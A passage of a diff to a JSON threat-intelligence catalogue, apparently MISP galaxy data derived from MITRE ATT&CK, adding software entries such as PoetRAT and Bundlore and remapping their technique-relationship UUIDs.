"estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c", + "value": "PoetRAT - S0428" + }, + { + "description": "[Bundlore](https://attack.mitre.org/software/S0482) is adware written for macOS that has been in use since at least 2015. Though categorized as adware, [Bundlore](https://attack.mitre.org/software/S0482) has many features associated with more traditional backdoors.(Citation: MacKeeper Bundlore Apr 2019)", + "meta": { + "external_id": "S0482", + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0482", + "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/" + ], + "synonyms": [ + "Bundlore", + "OSX.Bundlore" + ] + }, + "related": [ + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a2029942-0a85-4947-b23c-ca434698171d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d10cbd34-42e3-45c0-84d2-535a09849584", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "37b11151-1776-4f8f-b328-30939fbf2ceb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "573ad264-1371-4ae0-8482-d2673b719dba", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6b57dc31-b814-4a03-8706-28bc20d739c4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "389735f1-f21c-4208-b8f0-f8031e7169b8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "7bef1b56-4870-4e74-b32a-7dd88c390c44", + "value": "Bundlore - S0482" + }, { "description": "[More_eggs](https://attack.mitre.org/software/S0284) is a JScript backdoor used by [Cobalt Group](https://attack.mitre.org/groups/G0080) and [FIN6](https://attack.mitre.org/groups/G0037). Its name was given based on the variable \"More_eggs\" being present in its code. There are at least two different versions of the backdoor being used, version 2.0 and version 4.4. (Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)", "meta": { @@ -26081,7 +30231,7 @@ }, "related": [ { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26102,7 +30252,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26123,21 +30273,21 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26151,21 +30301,21 @@ "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26192,7 +30342,7 @@ }, "related": [ { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26206,14 +30356,7 @@ "type": "uses" }, { - "dest-uuid": "519630c5-f03f-4882-825c-3af924935817", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26255,14 +30398,14 @@ "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26276,7 +30419,7 @@ "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26290,7 +30433,7 @@ "type": "uses" }, { - "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26358,7 +30501,7 @@ }, "related": [ { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26414,7 +30557,7 @@ }, "related": [ { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26428,7 +30571,7 @@ "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26449,21 +30592,21 @@ "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26477,7 +30620,7 @@ "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26526,14 +30669,14 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26547,7 +30690,7 @@ "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26561,7 +30704,7 @@ "type": "uses" }, { - "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26575,14 +30718,14 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26601,6 +30744,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "9a60a291-8960-4387-8a4a-2ab5c18bb50b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "536be338-e2ef-4a6b-afb6-8d5568b91eb2", @@ -26637,7 +30794,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26651,14 +30808,14 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69", + "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26686,21 +30843,21 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26721,14 +30878,14 @@ "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26784,14 +30941,14 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26819,7 +30976,7 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26846,7 +31003,7 @@ }, "related": [ { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26860,7 +31017,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26874,7 +31031,7 @@ "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26888,7 +31045,7 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26909,7 +31066,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -26958,7 +31115,7 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27012,7 +31169,7 @@ }, "related": [ { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27026,7 +31183,7 @@ "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27040,7 +31197,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27157,7 +31314,7 @@ }, "related": [ { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27185,21 +31342,21 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27213,7 +31370,7 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27225,6 +31382,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "c8b6cc43-ce61-42ae-87f3-a5f10526f952", @@ -27261,14 +31425,14 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27282,7 +31446,7 @@ "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27331,7 +31495,7 @@ "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27345,7 +31509,7 @@ "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27366,14 +31530,14 @@ "type": "uses" }, { - "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "dest-uuid": "4bc31b94-045b-4752-8920-aebaebdb6470", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27387,7 +31551,7 @@ "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27401,14 +31565,14 @@ "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27422,42 +31586,49 @@ "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "66f73398-8394-4711-85e5-34c8540b22a5", + "dest-uuid": "f5946b5e-9408-485f-a7f7-b5efc88909b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2edd9d6a-5674-4326-a600-ba56de467286", + "dest-uuid": "341e222a-a6e3-4f6f-b69c-831d792b1580", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4579d9c9-d5b9-45e0-9848-0104637b579f", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27486,7 +31657,7 @@ }, "related": [ { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27527,13 +31698,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", "tags": [ @@ -27542,7 +31706,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27563,21 +31727,21 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27598,14 +31762,14 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27619,7 +31783,7 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27648,56 +31812,56 @@ }, "related": [ { - "dest-uuid": "dd901512-6e37-4155-943b-453e3777b125", + "dest-uuid": "a2029942-0a85-4947-b23c-ca434698171d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "dest-uuid": "6831414d-bb70-42b7-8030-d4e06b2660c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c0df6533-30ee-4a4a-9c6d-17af5abdf0b2", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "1a80d097-54df-41d8-9d33-34e755ec5e72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e2907cea-4b43-4ed7-a570-0fdf0fbeea00", + "dest-uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2715c335-1bf2-4efe-9f18-0691317ff83b", + "dest-uuid": "d10cbd34-42e3-45c0-84d2-535a09849584", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7d751199-05fa-4a72-920f-85df4506c76c", + "dest-uuid": "e51137a5-1cdc-499e-911a-abaedaa5ac86", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27765,7 +31929,7 @@ "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27779,21 +31943,14 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27807,7 +31964,7 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27821,7 +31978,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27835,7 +31992,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27856,7 +32013,7 